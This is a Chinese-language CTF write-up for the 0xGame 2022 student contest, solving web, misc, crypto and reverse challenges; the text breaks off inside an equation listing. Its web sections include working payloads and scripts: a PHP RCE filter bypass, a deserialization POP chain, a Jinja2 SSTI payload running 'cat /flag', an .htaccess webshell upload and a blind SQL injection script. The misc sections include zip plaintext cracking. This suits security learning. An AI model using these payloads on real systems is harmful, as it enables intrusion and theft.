0xGame 2022 Writeup

南邮新生赛

web 理所当然 ak 了, 不过 java 题学到了很多

misc ak 只坚持到了第三周, 第四周真的做不动了…

crypto 之前从来没接触过, 这次能全部 ak 是我没想到的

pwn 和 re 因为自己不是搞这个方面的, 所以几乎没有做

Week 1

Web

Where_U_from

访问 /flaggeeee

提示 local access only

改一下 xff 头

继续访问 /re3l_flag

cookie 改成 login=1

改成 post 请求

Myrobots

robots.txt 内容为 flag in FFFFl3gggg.txt

login

猜一下 login.php

生成五位数 00000-99999 的字典 然后 intruder 爆破

密码是 01234

登陆后右键

一眼文件包含

Ez_rce

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<?php
error_reporting(0);
highlight_file(__FILE__);

$a=$_GET['param1'];
$b=$_POST['param2'];

$a=preg_replace('/system|eval|preg_replace|create_function|array_map|call_user_func|call_user_func_array|array_filter|usort|uasort|file|content|passthru|exec|shell_exec|popen|proc_open|pcntl_exec|assert/is','',$a);
$b=preg_replace('/cat|tac|tail|nl|more|less|head|flag/is','?Q__Q?',$b);

$a($b);
?>

param1 只 replace 一次, 双写绕过

关键词被过滤用 \ 绕过

Misc

Signin

关注小绿草信息安全科创实验室喵, 关注小绿草信息安全科创实验室谢谢喵

看不见的字符

零宽字符隐写

https://330k.github.io/misc_tools/unicode_steganography.html

VmtaV2IySXhUa2RpUm1oT1ZqTm9jMVJWWkRSTlZuQklZMFZrYkdKVldsbFZNalZQV1ZaYWNXSkdiRlZXVjJoTVdWUktUbVZyTVVWTlJEQTk=

一直 base64 解密后得到 flag

0xGame{Inv1sible_W0rds}

垃圾邮件

这题问了师傅好几次… 后来做出来的时候才发现垃圾邮件的英文不是 junk mail, 是 spam (悲)

key.txt 解密过程: aaencode -> brainfuck -> base64 x2 -> base58 (string) -> base32

1
P@33w0rD

flag.txt 里面是邮件的内容

一开始还以为是用单词或者标点符号来隐写, 试了 ctf wp writeup misc 邮件 junk mail txt 加解密 隐写 等等关键字一直没搜到…

最后师傅给的 hint 是搜索整个邮件内容

https://www.spammimic.com/decode.shtml

之后填入邮件内容和 key 就能得到 flag 了

0xGame{KFC_CRAZY_THURSDAY_V_ME_50!!!!}

Ezpcap

直接 wireshark 打开然后搜一下 0xGame 关键字

username 和 password 拼起来得到 flag

%7b%7d 转换成 {}

奇怪的符号

参考文章 http://www.fzwjscj.xyz/index.php/archives/23/

图像用 stegsolve 处理一下, 看的清楚点

明文是 0XGAMESTR4NGESCR1PT

flag 是 0xGame{STR4NGESCR1PT}

好多压缩包

用 ARCHPR 爆破

解压后打开

zip 伪加密

解压时出现 crc 错误, 不用管

掩码爆破

解压后打开

另外还有一个已知的 lookatme.txt

先把 txt 压缩

对比后发现 crc 一致

猜测为 zip 明文攻击

保存为 4444_decrypted.zip 解压后打开 flag.txt

旅游照片

飞机编号是 B-7631

图片右键查看属性

时间是 2022/7/14 17:29

然后去 flightaware 上搜一下

注册账户之后可以免费看近期三个月的记录

https://zh.flightaware.com/live/flight/B7631/history/320

SZX 是机场简称, 城市简称是 SZ

构造 flag 如下

0xGame{LYG_SZX_DZ6242}

Signin(校内版)

学长好帅

Crypto

simpleBabyEasyRSA

简单 rsa

1
2
3
4
5
6
7
8
p = 59
q = 97
e = 37
c = 3738
 
请在求出私钥d,明文m后将连接值的md5值(32位小写)包上flag提交
 
如求出d = 12,m = 34,则flag为0xGame{md5(1234)}

参考文章 https://cloud.tencent.com/developer/article/1541523

求 d

1
2
3
4
5
6
7
8
import gmpy2

p = gmpy2.mpz(59)
q = gmpy2.mpz(97)
e = gmpy2.mpz(37)
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
print(d)

解出来 d=301

然后通过 pow 求明文

1
2
3
4
5
6
7
p = 59
q = 97
c = 3738
d = 301
n = p * q
m = pow(c, d, n)
print(m)

解出来 m=5499

flag 就是 0xGame{md5(3015499)}, 即 0xGame{d42b66fc047f9e80922f1a2b11e589c0}

简单套娃

核心价值观编码 http://www.hiencode.com/cvencode.html

阴阳怪气编码 https://jiji.pro/yygq.js/

摩斯电码

%u7b%u7d 就是 {}

1
0w_1qin4wn_d_fr{dl1c_jylpdna3gcy}x1s3j

看了下发现 } 的位置不对, 可能是栅栏密码

试出来 key=5 的时候整体结构是对的

flag 是 0xGame 开头, 然后开头第一位有 0, 但是其它地方字母都是乱的, 猜测是凯撒移位, 因为凯撒移位只改变字母不改变数字

rot15 时得到 flag

提交的时候记得把前面的 g 改成大写, 然后括号内的字母全部大写

Vigenère

维吉尼亚密码爆破

https://www.guballa.de/vigenere-solver

0xGame{V19eneRe_E4sy}

Factor

参考文章 https://ctf-wiki.org/crypto/asymmetric/rsa/rsa_module_attack/

猜测可以分解 n 得到 p q

去 factordb 在线分解

http://factordb.com/index.php?query=177726843226591634556244030635816071333

之后求 d

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import gmpy2

p = gmpy2.mpz(9735957770491659841)
q = gmpy2.mpz(18254685097880877413)
n = p * q

e = 0x10001

c = 49549088434190402681586345733724247189

phi = (p - 1) * (q - 1)

d = gmpy2.invert(e, phi)

print(d)

d = 174553972839251472293209725962845994753

然后求 m

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
from Crypto.Util.number import *

p =9735957770491659841
q = 18254685097880877413
n = p * q

e = 0x10001
c = 49549088434190402681586345733724247189
d = 174553972839251472293209725962845994753

m = pow(c, d, n)
print(long_to_bytes(m))

we1come_t0_rs4

flag 即 0xGame{we1come_t0_rs4}

ext_Affine

仿射密码

参考文章 https://ctf-wiki.org/crypto/classical/monoalphabetic/

逆元不知道咋求… 不过密文肯定是 flag, 包含数字字母下划线还有大括号

然后看了下脚本发现加密方式和 a b 都已知, 干脆直接爆破了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import random
import gmpy2

with open("cipher.txt", "rb") as f:
    cipher = f.read()

a = 27
b = 121

flag = ''

for i in cipher:
    for j in range(32, 128):
        k = (j * a + b) % 128
        if i == k:
            flag += chr(j)
            print(flag)
            break

跑出来的结果是 0xGame{U_kn0w|@^1ot_4bout~Pyth0n}

Re

re1

ida F5

0xGame{be9d9fee-7d45-4a3e-a105-802b3221665d}

Pwn

pwn1

用的 telnet, nc 好像有点问题

flag{nc_flag}

Week 2

Web

do_u_like_pop

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
highlight_file(__FILE__);

class Apple{
    public  $var;

    public function __wakeup(){
        $this->var->value;
    }

    public function __invoke(){
        echo $this->var;
    }
}

class Banana{
    public $source="pop.php";
    public $str;

    public function __toString(){
        echo file_get_contents($this->source);
        return 'do u like pop?';
    }
 
    public function __construct(){
        $this->source = "flag in flag.php";
        echo 123;
    }
}

class Cherry{
    public $p;
    public $o;

    public function __construct(){
        $this->o = 'pop song';
    }

    public function __get($key){
        ($this->p)();
    }
}


if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}

简单 pop 链构造, 入口点是 Apple 类的 __wakeup

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

class Apple{
    public  $var;
}

class Banana{
    public $source;
    public $str;
}

class Cherry{
    public $p;
    public $o;

}

$d = new Banana();
$d->source = 'flag.php';

$c = new Apple();
$c->var = $d;

$b = new Cherry();
$b->p = $c;

$a = new Apple();
$a->var = $b;

echo serialize($a);
1
http://47.96.3.142:8123/?pop=O:5:"Apple":1:{s:3:"var";O:6:"Cherry":2:{s:1:"p";O:5:"Apple":1:{s:3:"var";O:6:"Banana":2:{s:6:"source";s:8:"flag.php";s:3:"str";N;}}s:1:"o";N;}}

i_want_4090ssti

输入框有 ssti

不过输入 {{ config }} 会被过滤, 显示 what’s this?

而直接输入 config 会原样输出

试了下 {% %} 能用, 可以配合 if 语句块来实现盲注

测试的时候发现 class import popen 这几个关键字都被过滤了

绕过 class 关键字可以换成 flask 内置的函数 url_for

import 用字符串拼接绕过, 但是 + 也被过滤了…

然后又找到了另一种方式, 两个字符串连在一起会自动拼接成一个字符串

popen 绕过方法同理, 用 __dict__ 来调用, 然后把方括号里的 popen 拆分成两个连在一起的字符串

构造 payload 如下

1
{%if url_for.__globals__['__builtins__']['__imp''ort__']('os').__dict__['pop''en']('cat /flag').read()[0]=='0'%}testxz{%endif%}

python 脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import requests

url = 'http://47.96.3.142:8888'

flag = ''

for i in range(9999):
    for s in range(32,128):
        payload = r"{%if url_for.__globals__['__builtins__']['__imp''ort__']('os').__dict__['pop''en']('cat /flag').read()[" + str(i) + r"]=='" + chr(s) + r"'%}testxz{%endif%}"
        res = requests.post(url,data={'formula':payload})
        #print('testing',chr(s))
        if 'testxz' in res.text:
            flag += chr(s)
            print(flag)
            break

flag 0xGame{ssti_great_1nter3sting}

upload_whatever

保留文件名上传

apache 的服务器, 很容易想到 .htaccess

但是后端检测了 mine 类型, 如果直接在 .htaccess 开头加入 GIF89A 的话访问整个 images 目录下的文件都会爆 500, 估计是语法错误

.htaccess 通过 # 来注释, 后来了解到还有 \x00

想着能不能找到其它不影响 .htaccess 语法的 mine 头来上传文件, 然后找到了这篇文章

https://blog.csdn.net/qq_45570082/article/details/108910162

xmb 图片的文件头如下

1
2
#define width 1337
#define height 1337

刚好符合 .htaccess 注释的语法

于是上传之

1
2
3
4
5
#define width 1337
#define height 1337
<FilesMatch "xz.xz">
SetHandler  application/x-httpd-php
</FilesMatch>

再上传 xz.xz

蚁剑连接得到 flag

Ez_sql

username 处存在注入

过滤了 * and or = substr union group_concat, 剩下的懒得写了…

- 拼接绕过, 当然也能用 ^

空格也被过滤了, 用 %0a 绕过, 如果用括号的话不好构造 limit 语句…

payload 如下

1
admin'-if(mid((select	table_name%0afrom%0ainformation_schema.tables%0awhere%0atable_schema%0alike%0adatabase()%0alimit%0a0,1),1,1)%0alike%0a'%',sleep(2),0)#

python 脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import time

url = 'http://47.96.3.142:8101/login.php'

dicts = r'{}0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'

flag = ''

for i in range(1,99999):
    for s in dicts:
        #payload = "admin'-if(mid((select\ttable_name\tfrom\tinformation_schema.tables\twhere\ttable_schema\tlike\tdatabase()\tlimit\t2,1),{},1)\tlike\tbinary\t'{}',sleep(1),0)#".format(i,s)
        payload = "admin'-if(mid((select\tffflllaaag\tfrom\tsecret),{},1)\tlike\tbinary\t'{}',sleep(1),0)#".format(i,s)
        start_time = time.time()
        print(s)
        res = requests.post(url,data={'username':payload,'password':'123'},allow_redirects=False)
        stop_time = time.time()
        if 'Illegal Character Dectected' in res.text:
            print('filtered!!!')
            exit()
        if stop_time - start_time >= 1:
            flag += s
            print('FOUND!!!',flag)
            break

写脚本的时候发现用 %0a 一直跑不出来, 换成 %250a 也一样, 估计是 requests 自动解码… 因为赶着抢一血就临时换成了 \t

跑出来有 0xgame 和 secret 两个表, secret 表中有 ssseccrett 和 ffflllaaag 两个列

查 flag 时每次跑到 _ 字符都会 sleep… 索性就把 _ 去掉了, 改成自己看

辨别方式也很简单, 如果 dicts 里面的内容都被跑了一遍就说明这个位置有 _

flag 0xGame{Y0u_kn0w_the_sq1_Inj3ction}

Misc

boomboomboom

后面三个 txt 很小, 想到了 crc 爆破

自己写的脚本速度感人… 于是找了一个现成的工具

https://github.com/theonlypwner/crc32

pas.txt swo.txt rd.txt 的 crc 如下

1
2
3
1e73ceca
002df600
0e201f1c

跑的时候前面记得加上 0x

找到符合语义的那一串, 即 You_K

其余同理, 最终 password 如下

1
You_Know_CRC32

解压后打开 flag.txt

1
🙃💵🌿🎤🚪🌏🐎🥋🚫😆✅🚫😁ℹ🎈🚨🌊📮😁🔬🌏🍵🚫✖🎅🕹🐘🎈⌨😇🚹☂🚰☀🌿😎😂🐅💵☀💵⌨🤣🚫😇😎☀🤣🚫😀😆🚪😂🦓🌏ℹ🎤🍴👉🎈😇✉⏩🏹🔪🎤🏎🚹🐍⏩💵🎤🚨🚫⌨🎤🌪👑📮✉✉ℹ🍌💵📂😀🗒🗒

emoji 加密, 有 base100 codemoji emoji-aes 三种

前两个都失败了, 试到最后一个的时候发现需要密码, 猜测就是刚刚的 You_Know_CRC32

https://aghorler.github.io/emoji-aes/

BabyRe

在线 pyc 逆向 https://tool.lu/pyc/

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import base64

def encode(str):
    fflag = '0'
    for i in range(1, len(flag)):
        x = ord(flag[i]) ^ ord(flag[i - 1])
        x += 30
        fflag += chr(x)
    
    return base64.b64encode(fflag)

flag = open('flag.txt').read()
enc = encode(flag)
print enc

自身异或加密, 跟 moectf 有一题差不多

解密脚本如下

1
2
3
4
5
6
7
content = base64.b64decode(open('out.txt','rb').read())
m = '0'

for i in range(1,len(content)):
    c = content[i] - 30
    m += chr(c ^ ord(m[i-1]))
    print(m)

flag 0xGame{afd9461d-35fb-4e9b-9716-aa83b3ed681a}

哥们在这给你说唱

wav 后缀, 文件有 14m, 以为另外又塞了些东西, 用 foremost 没出结果, binwalk 提取出来了个 yaffs 文件系统, 然后通过工具解包一直失败…

网上找了一会 wav 隐写的相关工具, 发现了 SilentEye 和 DeepSound

第二个工具找了好久, 最后在这篇文章里找到的

https://chowdera.com/2022/03/202203170451107840.html

首先用 SilentEye 查看隐写内容

密码是 15gmzzgnscltcltdz, 一开始不知道有什么用, 后来找到 DeepSound 的时候才发现可以查看隐写的文件

flag.txt 内容 0xGame{5d4d7df0-6de7-4897-adee-e4b3828978f8}

不太普通的图片

用 stegsolve 打开, 在 blue plane 0 中看到 password

password 为 0xGameyyds

根据题目描述 R!G!B! 猜测是 lsb 隐写, 不过在 data extract 里面没看出来什么…

网上搜了一下 png 隐写, 出来这篇文章

https://zhuanlan.zhihu.com/p/23890677

参考工具 https://github.com/livz/cloacked-pixel

flag 0xGame{Hidd3n_1n_Pic}

隔空取物

hint 为 zip传统的加密方式真的安全吗

想起来之前明文攻击的条件也是要求压缩方法为 Store

参考文章 https://www.freebuf.com/articles/network/255145.html

原理就是利用通用的 png 文件头作为部分明文来破解 zip 压缩包

1
2
echo 89504E470D0A1A0A0000000D49484452 | xxd -r -ps > png_header
bkcrack -C flag.zip -c flag.png -p png_header -o 0

跑出来三个 key 之后再解密一下

1
bkcrack -C flag.zip -c flag.png -k ab7d8bcd 6ce75578 4de51c12 -d flag.png

flag.png

用 binwalk stegsolve 过了一遍, 没发现什么东西

于是研究了下 png 隐写的相关文章

https://blog.csdn.net/qq_42880719/article/details/114825260

看到一个修改长宽的技巧, 抱着试一试的态度改了 hex 结果发现成功得到了 flag…

Crypto

linearEquation

equation.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import random

x = [random.getrandbits(32) for _ in range(32)]

# flag为0xGame{md5(sum(x))}

for i in range(32):
    ans = 0
    rand = [random.getrandbits(32) for _ in range(32)]
    for j in range(31):
        ans += x[j] * rand[j]
        print("x{} * {} + ".format(j, rand[j]), end="")
    ans += x[31] * rand[31]
    print("x{} * {} = ".format(31, rand[31]), end="")
    print(ans)

output.txt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
x0 * 2905774839 + x1 * 937692645 + x2 * 2277996359 + x3 * 1574938713 + x4 * 825047075 + x5 * 1179013397 + x6 * 2366890081 + x7 * 3219529440 + x8 * 2414190453 + x9 * 3590757506 + x10 * 3909323650 + x11 * 2183139299 + x12 * 1579902159 + x13 * 3343902869 + x14 * 896068862 + x15 * 309758299 + x16 * 901531607 + x17 * 291291156 + x18 * 2546709881 + x19 * 4221036639 + x20 * 3505720382 + x21 * 3684857351 + x22 * 2022652786 + x23 * 451227475 + x24 * 3741251238 + x25 * 3997408590 + x26 * 2256908756 + x27 * 1334843411 + x28 * 4020591098 + x29 * 2114708609 + x30 * 79808585 + x31 * 2974805697 == 153629905098136685045,
x0 * 633779458 + x1 * 760323050 + x2 * 3524136923 + x3 * 3404961172 + x4 * 3497719477 + x5 * 2036024833 + x6 * 2807481062 + x7 * 3579571169 + x8 * 1182247335 + x9 * 1473703468 + x10 * 1485764830 + x11 * 2344149245 + x12 * 2230867977 + x13 * 451381281 + x14 * 2729949187 + x15 * 1329480928 + x16 * 3036372799 + x17 * 1916707506 + x18 * 1408308101 + x19 * 3414819940 + x20 * 54157456 + x21 * 4081087004 + x22 * 81644901 + x23 * 1046457653 + x24 * 2786986628 + x25 * 3293369990 + x26 * 2547544255 + x27 * 1408426127 + x28 * 1700843152 + x29 * 4028585224 + x30 * 3882199080 + x31 * 4040732992 == 145118376676814378151,
x0 * 1158359552 + x1 * 952473112 + x2 * 2469876874 + x3 * 1877922146 + x4 * 2681754384 + x5 * 441645489 + x6 * 1451082555 + x7 * 1282675826 + x8 * 3628741269 + x9 * 1538367477 + x10 * 4256030398 + x11 * 1551122815 + x12 * 2403304542 + x13 * 1198458285 + x14 * 2596160415 + x15 * 3952532206 + x16 * 1372310735 + x17 * 3735073437 + x18 * 686367724 + x19 * 158982013 + x20 * 1901981688 + x21 * 2045511526 + x22 * 1553141146 + x23 * 574875471 + x24 * 3881193717 + x25 * 281974061 + x26 * 3401680368 + x27 * 1071341816 + x28 * 3856818199 + x29 * 1543037830 + x30 * 2600897676 + x31 * 886793613 == 125136025093969380235,
x0 * 3369804515 + x1 * 1388562875 + x2 * 2620029184 + x3 * 3424874122 + x4 * 2155070368 + x5 * 515581101 + x6 * 3448760104 + x7 * 1571958247 + x8 * 1344632695 + x9 * 3418066835 + x10 * 1055412931 + x11 * 2599736936 + x12 * 1682298601 + x13 * 3888231955 + x14 * 869443630 + x15 * 46802084 + x16 * 1434071143 + x17 * 537999569 + x18 * 3062214567 + x19 * 638588405 + x20 * 1418519591 + x21 * 921851625 + x22 * 1349011403 + x23 * 2504652024 + x24 * 1128409974 + x25 * 825642445 + x26 * 2980848614 + x27 * 3181702547 + x28 * 1665015471 + x29 * 1655900518 + x30 * 1737483004 + x31 * 4058968130 == 123888756483831750489,
x0 * 2992139966 + x1 * 3421209457 + x2 * 1518056473 + x3 * 2934632866 + x4 * 474750728 + x5 * 1888643463 + x6 * 715133241 + x7 * 270269278 + x8 * 3453364309 + x9 * 2375169043 + x10 * 475758667 + x11 * 1550808440 + x12 * 870004412 + x13 * 2502311422 + x14 * 2802347419 + x15 * 3316934713 + x16 * 3072815429 + x17 * 1955447632 + x18 * 957468873 + x19 * 2003306503 + x20 * 2991846576 + x21 * 1052908526 + x22 * 852939089 + x23 * 2001031122 + x24 * 1763364759 + x25 * 318730434 + x26 * 2271963088 + x27 * 3167595340 + x28 * 186065313 + x29 * 3124233301 + x30 * 1558676638 + x31 * 229698311 == 136466432408823062440,
x0 * 880826917 + x1 * 2298353220 + x2 * 13972845 + x3 * 2112342331 + x4 * 520363735 + x5 * 1669676202 + x6 * 2365942382 + x7 * 2454166357 + x8 * 86684296 + x9 * 4180997737 + x10 * 2651800933 + x11 * 3387852337 + x12 * 3569081096 + x13 * 412248780 + x14 * 2622374412 + x15 * 4004737267 + x16 * 3937062327 + x17 * 2122230024 + x18 * 508412261 + x19 * 925290104 + x20 * 2297262392 + x21 * 2615036583 + x22 * 956831662 + x23 * 2377853219 + x24 * 2129964002 + x25 * 711861720 + x26 * 1072575240 + x27 * 290600530 + x28 * 3557322638 + x29 * 1937025602 + x30 * 3942606369 + x31 * 848634526 == 135520634374716138253,
x0 * 1667423245 + x1 * 3205256744 + x2 * 4218058651 + x3 * 4247786171 + x4 * 2902884888 + x5 * 1776716207 + x6 * 57317883 + x7 * 2810845945 + x8 * 4056618058 + x9 * 2442806270 + x10 * 189251210 + x11 * 175454169 + x12 * 1563217423 + x13 * 1584552187 + x14 * 4066113642 + x15 * 2678017765 + x16 * 1370397535 + x17 * 1796075905 + x18 * 3507132543 + x19 * 2375242245 + x20 * 1599167786 + x21 * 3353660587 + x22 * 2792999728 + x23 * 2513875102 + x24 * 3349313992 + x25 * 561973312 + x26 * 131599779 + x27 * 1780045940 + x28 * 181893476 + x29 * 1515423140 + x30 * 1695557088 + x31 * 1103274089 == 140870834889282733787,
x0 * 2924743894 + x1 * 2747685610 + x2 * 703249631 + x3 * 2970835309 + x4 * 1709917538 + x5 * 2326038184 + x6 * 3850628518 + x7 * 1598044999 + x8 * 1230534089 + x9 * 2628050448 + x10 * 560260479 + x11 * 2827469192 + x12 * 1261659178 + x13 * 3473946812 + x14 * 2627319447 + x15 * 2783861426 + x16 * 1814833846 + x17 * 3969833864 + x18 * 4048131215 + x19 * 3849752757 + x20 * 3942527132 + x21 * 3218422785 + x22 * 1568409347 + x23 * 3959466355 + x24 * 2784582743 + x25 * 2996021365 + x26 * 1058302993 + x27 * 360568252 + x28 * 4120475817 + x29 * 612600724 + x30 * 3312442340 + x31 * 2780876242 == 162850348028726438719,
x0 * 1616016662 + x1 * 3654249690 + x2 * 137386530 + x3 * 1430840003 + x4 * 413249034 + x5 * 512756864 + x6 * 4178200879 + x7 * 2530110366 + x8 * 2920225584 + x9 * 3182457452 + x10 * 1705355659 + x11 * 2866496197 + x12 * 4233807177 + x13 * 1885804809 + x14 * 1332101007 + x15 * 511987054 + x16 * 3709126878 + x17 * 1639834513 + x18 * 2331999251 + x19 * 3942139119 + x20 * 3452087731 + x21 * 3059112759 + x22 * 3445769324 + x23 * 128282305 + x24 * 895514710 + x25 * 3973866022 + x26 * 3074206386 + x27 * 2793860989 + x28 * 4208156768 + x29 * 1868752777 + x30 * 1128655300 + x31 * 4224750762 == 173549152139361191182,
x0 * 1507751682 + x1 * 1846572164 + x2 * 2041260497 + x3 * 1124204604 + x4 * 803283004 + x5 * 2783064398 + x6 * 3894553701 + x7 * 1968388652 + x8 * 4001422379 + x9 * 3448449208 + x10 * 3520475047 + x11 * 2550138883 + x12 * 2389210163 + x13 * 126106238 + x14 * 2662172629 + x15 * 4261498421 + x16 * 3044233456 + x17 * 3644778899 + x18 * 870298634 + x19 * 2695223165 + x20 * 1650836877 + x21 * 1258482236 + x22 * 1063099544 + x23 * 3764404492 + x24 * 3967617774 + x25 * 1965577715 + x26 * 2446428246 + x27 * 1505068720 + x28 * 3981692241 + x29 * 3408565448 + x30 * 2781597153 + x31 * 3092390689 == 180393478529485883021,
x0 * 351479342 + x1 * 503524980 + x2 * 1716292026 + x3 * 938189610 + x4 * 3362208287 + x5 * 280354280 + x6 * 2300444836 + x7 * 1468215142 + x8 * 3180887405 + x9 * 2532072979 + x10 * 1652875734 + x11 * 2254901041 + x12 * 259860786 + x13 * 3263784945 + x14 * 483273054 + x15 * 3166504792 + x16 * 914039776 + x17 * 4266192190 + x18 * 1042961273 + x19 * 181336626 + x20 * 669694284 + x21 * 2453653976 + x22 * 1389685958 + x23 * 2284711690 + x24 * 3317847597 + x25 * 2440906291 + x26 * 3042784363 + x27 * 1482188614 + x28 * 2369361990 + x29 * 324426473 + x30 * 1763743995 + x31 * 3934897747 == 117888147215252945859,
x0 * 725022521 + x1 * 938746075 + x2 * 3633113215 + x3 * 4185273958 + x4 * 2800996696 + x5 * 2631729929 + x6 * 2692051893 + x7 * 3433724886 + x8 * 1616354254 + x9 * 3607913532 + x10 * 529812087 + x11 * 2791241832 + x12 * 1737462722 + x13 * 3641411598 + x14 * 1924632655 + x15 * 1616473457 + x16 * 3637886658 + x17 * 1858291856 + x18 * 1078390594 + x19 * 1887741658 + x20 * 2265350830 + x21 * 2676979191 + x22 * 1970124470 + x23 * 664078020 + x24 * 1808737559 + x25 * 2298779415 + x26 * 1388943648 + x27 * 4204667059 + x28 * 1073622448 + x29 * 3443318903 + x30 * 2171824304 + x31 * 1868209557 == 158683608359654647072,
x0 * 650341618 + x1 * 2935581294 + x2 * 2644385881 + x3 * 1535307611 + x4 * 1016591324 + x5 * 815158333 + x6 * 1448798160 + x7 * 2641332727 + x8 * 270686394 + x9 * 2219311183 + x10 * 2967122700 + x11 * 3770872278 + x12 * 3541712142 + x13 * 3868017641 + x14 * 3555690826 + x15 * 802632927 + x16 * 3680835829 + x17 * 682966028 + x18 * 1194680003 + x19 * 894072837 + x20 * 1878364070 + x21 * 1331140614 + x22 * 965880101 + x23 * 1138566143 + x24 * 701720887 + x25 * 2742737986 + x26 * 3045938774 + x27 * 147247760 + x28 * 4094028215 + x29 * 204167974 + x30 * 3200135673 + x31 * 27026610 == 119553298425410260470,
x0 * 3264996808 + x1 * 2331472878 + x2 * 2992654618 + x3 * 1337387837 + x4 * 3068330431 + x5 * 1897134387 + x6 * 2124686830 + x7 * 433732986 + x8 * 560852756 + x9 * 569523526 + x10 * 1635729292 + x11 * 3899076223 + x12 * 2599433468 + x13 * 2525044550 + x14 * 3233393817 + x15 * 1990368374 + x16 * 8003701 + x17 * 1649870439 + x18 * 429808458 + x19 * 2788914187 + x20 * 3183669167 + x21 * 4029467918 + x22 * 1823857717 + x23 * 3493646301 + x24 * 1619264007 + x25 * 1485689524 + x26 * 1136226577 + x27 * 2403749534 + x28 * 4188551850 + x29 * 19971766 + x30 * 3514606027 + x31 * 2659730746 == 129283893341689770873,
x0 * 3179913872 + x1 * 1590442647 + x2 * 16192345 + x3 * 2330075242 + x4 * 655160953 + x5 * 4052746453 + x6 * 3225345308 + x7 * 3362725382 + x8 * 350986883 + x9 * 2257032841 + x10 * 203422664 + x11 * 1211339833 + x12 * 1005356492 + x13 * 3016854180 + x14 * 3052361161 + x15 * 667363442 + x16 * 1711948350 + x17 * 674085815 + x18 * 386890144 + x19 * 3422048832 + x20 * 127837425 + x21 * 1178013843 + x22 * 642733070 + x23 * 3317927971 + x24 * 470770850 + x25 * 1793530046 + x26 * 3190738311 + x27 * 1437576481 + x28 * 273211936 + x29 * 3162727862 + x30 * 172486187 + x31 * 3154971774 == 122131281329452040239,
x0 * 1984698529 + x1 * 1445752975 + x2 * 556628780 + x3 * 1388438884 + x4 * 1249287957 + x5 * 355916806 + x6 * 317389095 + x7 * 3161347497 + x8 * 3059986980 + x9 * 3375424603 + x10 * 2501724356 + x11 * 3520286932 + x12 * 2650494784 + x13 * 3031688124 + x14 * 777396084 + x15 * 3712283044 + x16 * 2001084449 + x17 * 2179194542 + x18 * 330859108 + x19 * 4245370419 + x20 * 1597774590 + x21 * 279816529 + x22 * 2461029032 + x23 * 4024610466 + x24 * 2111027579 + x25 * 1607579079 + x26 * 2097268956 + x27 * 2069066877 + x28 * 2186433547 + x29 * 922721930 + x30 * 1292267441 + x31 * 2955441028 == 144038024275757774857,
x0 * 1241308871 + x1 * 1393662036 + x2 * 4198993351 + x3 * 91138693 + x4 * 525807852 + x5 * 2577403449 + x6 * 86644570 + x7 * 1732667838 + x8 * 2939702570 + x9 * 2284810186 + x10 * 208700933 + x11 * 2215740017 + x12 * 3214773041 + x13 * 870729362 + x14 * 65832640 + x15 * 3610432908 + x16 * 522601813 + x17 * 175075843 + x18 * 1282298391 + x19 * 36747212 + x20 * 2587821571 + x21 * 4181954474 + x22 * 1445029272 + x23 * 153408069 + x24 * 3576784077 + x25 * 3813757427 + x26 * 3320262816 + x27 * 3551464465 + x28 * 3353985098 + x29 * 2447602934 + x30 * 3490733926 + x31 * 3993341361 == 123274418600692000659,
x0 * 893304126 + x1 * 3166857574 + x2 * 2441202939 + x3 * 3327570642 + x4 * 3669549855 + x5 * 780027614 + x6 * 180713694 + x7 * 2647145856 + x8 * 2319909284 + x9 * 1561031212 + x10 * 4202799781 + x11 * 573281460 + x12 * 3493520432 + x13 * 3956590471 + x14 * 3037423252 + x15 * 3483144817 + x16 * 275082166 + x17 * 708813902 + x18 * 4034706302 + x19 * 2451646427 + x20 * 1709043422 + x21 * 3508904880 + x22 * 3914395210 + x23 * 1390932539 + x24 * 724980967 + x25 * 3605577362 + x26 * 523257167 + x27 * 869314102 + x28 * 921376992 + x29 * 3327052711 + x30 * 513275795 + x31 * 3636241417 == 157486161096751655213,
x0 * 2312777622 + x1 * 1817334395 + x2 * 1138529684 + x3 * 3773604428 + x4 * 1935211151 + x5 * 2213289840 + x6 * 377676625 + x7 * 1196080510 + x8 * 1199201227 + x9 * 2631999064 + x10 * 2323693808 + x11 * 3341119621 + x12 * 4082235941 + x13 * 1108916057 + x14 * 4084043198 + x15 * 3777740051 + x16 * 625149649 + x17 * 2152448475 + x18 * 2880243061 + x19 * 2428704446 + x20 * 747636324 + x21 * 3509162185 + x22 * 2883831894 + x23 * 414518377 + x24 * 3814902119 + x25 * 2824636355 + x26 * 247901663 + x27 * 386586108 + x28 * 1765102390 + x29 * 18084913 + x30 * 3764887142 + x31 * 1394818146 == 123317982529357675593,
x0 * 2391932865 + x1 * 1997583865 + x2 * 3809734451 + x3 * 92863853 + x4 * 252092837 + x5 * 4213171834 + x6 * 935980948 + x7 * 2427304675 + x8 * 2544835044 + x9 * 1740512234 + x10 * 2320698790 + x11 * 1671324494 + x12 * 3667386361 + x13 * 4067418541 + x14 * 157438085 + x15 * 2118582852 + x16 * 1441120116 + x17 * 2280200848 + x18 * 4208695179 + x19 * 1106492516 + x20 * 2587300334 + x21 * 3381272823 + x22 * 372050960 + x23 * 428062772 + x24 * 1286515897 + x25 * 22829630 + x26 * 1687635288 + x27 * 148405470 + x28 * 1814450870 + x29 * 1463318313 + x30 * 3619227493 + x31 * 3925731221 == 126768559219496596529,
